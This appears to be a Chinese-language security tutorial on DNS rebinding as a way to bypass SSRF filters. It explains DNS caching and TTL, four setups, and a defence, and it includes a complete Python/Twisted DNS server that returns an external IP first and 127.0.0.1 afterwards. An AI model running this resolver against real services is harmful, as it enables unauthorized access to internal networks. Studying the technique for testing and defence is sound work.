DNS-Rebinding


前言

在SSRF漏洞的利用中,经常能看到后端对输入域名或者IP的各种检验过滤,那我们就需要用各种方式来进行绕过了,而其中有一种叫做DNS Rebinding(DNS重绑定)的绕过方式有别于其他的绕过方式,很有趣。

DNS、TTL

访问域名的时候,服务器会先向DNS服务器发出解析请求,DNS服务器再向域名指定的授权DNS服务器发出解析请求,得到该域名对应的IP,然后去访问该IP地址。

TTL指DNS缓存的存活时间。在第一次DNS请求后,请求结果会被DNS服务器缓存下来,在缓存存活时间内不再请求,而是直接将结果返回。

后端检验

一般来说后端检验并执行会向DNS服务器发出两次请求,第一次询问对应IP是否合法(在内网),第二次获取对应IP进行访问。有时候可以通过302跳转来绕过。

DNS Rebinding

通过各种手段,让后端第一次DNS请求得到的IP为外网,第二次为内网。

防御方法

缓存第一次DNS解析结果。


实现方式

第一种:特定域名实现

利用TTL=0,在第一次请求进行延时,然后趁机修改DNS解析,让第二次请求指向内网。

详情看这里:http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

可行但是不好用的方法。

第二种:向域名商添加DNS解析记录

像这样:

通过给一个子域名添加两条A记录,让DNS解析请求的时候随机返回,有1/4的几率成功绕过。

但是实际运用的时候,这种方法还不一定能行,我的两台VPS一台成功一台失败。

不是太可行,还算好用的方法。

第三种:利用ceye.io

ceye.io有提供DNS Rebinding的攻击方式,具体可以参考网站上的实例,实现方式跟2一样,没有域名的师傅们也可以玩一玩这一种方式。

第四种:向域名商添加DNS解析记录,并自行搭建DNS服务器

同样添加两条记录,分别是NS记录和A记录:

NS记录将dr子域名的解析交给ns,而ns指向我们自己的VPS,然后我们在VPS上面搭建一个DNS服务器,让第一次解析指向外网,第二次指向内网即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

def _doDynamicResponse(self, query):
name = query.name.name

if name not in record or record[name]<1:
ip="*.*.*.*"
else:
ip="127.0.0.1"

if name not in record:
record[name]=0
record[name]+=1

print name+" ===> "+ip

answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional

def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))

def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)

protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()



if __name__ == '__main__':
raise SystemExit(main())

很多地方都能找到DNS服务器的代码,搭建完成后可以使用curl、ping、dig等多种方式来测试一下。


参考文章:

http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

https://xz.aliyun.com/t/63